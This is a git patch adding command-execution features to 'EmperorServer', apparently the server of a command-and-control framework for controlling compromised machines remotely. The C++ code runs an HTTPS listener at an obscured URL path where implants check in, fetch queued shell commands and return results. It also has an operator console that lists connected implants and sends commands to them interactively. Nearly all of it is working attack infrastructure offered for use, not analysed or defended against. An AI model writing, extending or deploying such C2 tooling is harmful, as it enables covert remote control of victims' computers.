From d1cc2a0382983d24f797435c29b0d6e87f220fa2 Mon Sep 17 00:00:00 2001 From: elimin8 Date: Sat, 11 Dec 2021 13:42:12 +0000 Subject: [PATCH] Added command execution functionality --- EmperorServer.cpp | 292 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 218 insertions(+), 74 deletions(-) diff --git a/EmperorServer.cpp b/EmperorServer.cpp index 88dc4c8..52ea2f9 100755 --- a/EmperorServer.cpp +++ b/EmperorServer.cpp @@ -3,70 +3,114 @@ #include #include #include +#include +#include +#include -// GLOBALS -httpserver::webserver ws = httpserver::create_webserver(8665) - .use_ssl() - .https_mem_key("server.key") - .https_mem_cert("server.crt"); +//GLOBALS +bool bIncomingHey = false; +std::string sIncomingHeyUser; +bool bShutdown = false; + +std::vector> retrievecreds(std::string sFile) +{ + std::vector> sCreds; + std::vector sUsernames; + std::vector sPasswords; + std::fstream fCreds; + fCreds.open("creds", std::ios::in); + char ch; + bool bUsername = true; + std::string sUsername = ""; + std::string sPassword = ""; + + while (true) + { + fCreds >> ch; + + if (fCreds.eof()) + { + sPasswords.push_back(sPassword); + break; + } + + if (ch == ':') + { + bUsername = false; + fCreds >> ch; + sUsernames.push_back(sUsername); + sUsername = ""; + } + + if (ch == '\n') + { + bUsername = true; + fCreds >> ch; + sPasswords.push_back(sPassword); + sPassword = ""; + } + + if (bUsername) + { + sUsername += ch; + } + else + { + sPassword += ch; + } + } + + sCreds.push_back(sUsernames); + sCreds.push_back(sPasswords); + return sCreds; +} + +std::vector> sCreds = retrievecreds("creds"); + +std::map defaultUserConnections(std::vector>sCreds) +{ + std::map mConnections; + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + { + mConnections[sCreds[0][iUsernameIndex]] = false; + } + return mConnections; +} + +std::map defaultUserComms(std::vector>sCreds) +{ + std::map mComms; + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + { + mComms[sCreds[0][iUsernameIndex]] = ""; + } + return mComms; +} + +std::map mCommands = defaultUserComms(sCreds); + +std::map mResults = defaultUserComms(sCreds); + +std::string listUserConnections(std::map mConnections) +{ + std::ostringstream oss; + for (auto const& [key, val] : mConnections) + { + if (val == true) + { + oss << key << " is active.\n"; + } + } + std::string sConnections = oss.str(); + return sConnections; +} + +std::map mConnections = defaultUserConnections(sCreds); class command_and_control : public httpserver::http_resource { public: - std::vector> retrievecreds(std::string sFile) - { - std::vector> sCreds; - std::vector sUsernames; - std::vector sPasswords; - std::fstream fCreds; - fCreds.open("creds", std::ios::in); - char ch; - bool bUsername = true; - std::string sUsername = ""; - std::string sPassword = ""; - - while (true) - { - fCreds >> ch; - - if (fCreds.eof()) - { - sPasswords.push_back(sPassword); - break; - } - - if (ch == ':') - { - bUsername = false; - fCreds >> ch; - sUsernames.push_back(sUsername); - sUsername = ""; - } - - if (ch == '\n') - { - bUsername = true; - fCreds >> ch; - sPasswords.push_back(sPassword); - sPassword = ""; - } - - if (bUsername) - { - sUsername += ch; - } - else - { - sPassword += ch; - } - } - - sCreds.push_back(sUsernames); - sCreds.push_back(sPasswords); - return sCreds; - } - - bool verifycreds(std::vector>sCreds, std::string sUsername, std::string sPassword) + bool verifycreds(std::vector> sCreds, std::string sUsername, std::string sPassword) { for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { @@ -84,23 +128,85 @@ class command_and_control : public httpserver::http_resource return false; } - std::vector>sCreds = retrievecreds("creds"); - const std::shared_ptr render(const httpserver::http_request& req) { if (verifycreds(sCreds, req.get_user(), req.get_pass())) { - return std::shared_ptr(new httpserver::string_response("Authenticated")); + if (req.get_method() == "POST") + { + if (req.get_arg("msg") == "ready") + { + std::ostringstream oss; + oss << "user=" << req.get_user() << "&msg=acknowledged"; + std::string sResponse = oss.str(); + bIncomingHey = true; + sIncomingHeyUser = req.get_user(); + mConnections[req.get_user()] = true; + return std::shared_ptr(new httpserver::string_response(sResponse)); + } + if (req.get_arg("msg") == "reqcmd") + { + if (mCommands[req.get_user()] != "") + { + std::ostringstream oss; + oss << "run=" << mCommands[req.get_user()]; + return std::shared_ptr(new httpserver::string_response(oss.str())); + } + else + { + return std::shared_ptr(new httpserver::string_response("msg=nocmd")); + } + } + if (req.get_arg("result") != "") + { + mCommands[req.get_user()] = ""; + mResults[req.get_user()] = req.get_arg("result"); + std::ostringstream oss; + oss << "user=" << req.get_user() << "&msg=acknowledged"; + std::string sResponse = oss.str(); + return std::shared_ptr(new httpserver::string_response(sResponse)); + } + } } return std::shared_ptr(new httpserver::string_response("Not found")); } }; -void startserver() +void checkConnections() { - command_and_control c2; - ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); - ws.start(false); + while (!bShutdown) + { + if (bIncomingHey) + { + std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; + bIncomingHey = false; + sIncomingHeyUser = ""; + } + } +} + +void interactConnection(std::string sIdentifier) +{ + std::string sCommand; + std::cout << "Starting interaction with " << sIdentifier << std::endl; + while (true) + { + std::cout << "[EMPEROR - " << sIdentifier << "]>"; + std::getline(std::cin, sCommand); + + if (sCommand == ":q") + { + break; + } + mCommands[sIdentifier] = sCommand; + std::cout << "Command sent, awaiting response..." << std::endl; + while (mResults[sIdentifier].empty()) + { + continue; + } + std::cout << "Result: " << mResults[sIdentifier] << std::endl; + mResults[sIdentifier] = ""; + } } void prompt() @@ -132,21 +238,51 @@ void prompt() <,--''`.._>8888( `>__...--' `''` )" << std::endl; std::cout << "=========================================" << std::endl; - std::string command; - + std::string sCommand; while (true) { std::cout << "[EMPEROR]>"; - std::cin >> command; + std::getline(std::cin, sCommand); + std::regex rConnect("connect "); - if (command == "sessions") + if (sCommand == "connections") { - std::cout << "No sessions currently active" << std::endl; + std::cout << listUserConnections(mConnections); } - if (command == "q" || command == "quit" || command == "exit") + if (std::regex_search(sCommand, rConnect)) { - ws.stop(); + std::vector sCommands; + std::string sSplit; + for (int i = 0; i < sCommand.length(); i++) + { + if (sCommand[i] == ' ') + { + sCommands.push_back(sSplit); + if (sCommands.size() > 2) + { + break; + } + sSplit = ""; + } + else + { + sSplit.push_back(sCommand[i]); + if (i == (sCommand.length() - 1)) + { + sCommands.push_back(sSplit); + } + } + } + if (mConnections[sCommands[1]]) + { + interactConnection(sCommands[1]); + } + } + + if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") + { + bShutdown = true; break; } } @@ -154,7 +290,15 @@ void prompt() int main (int argc, char** argv) { - startserver(); + command_and_control c2; + httpserver::webserver ws = httpserver::create_webserver(8665) + .use_ssl() + .https_mem_key("server.key") + .https_mem_cert("server.crt"); + ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); + ws.start(false); + std::thread tCheck(checkConnections); prompt(); + tCheck.join(); return 0; }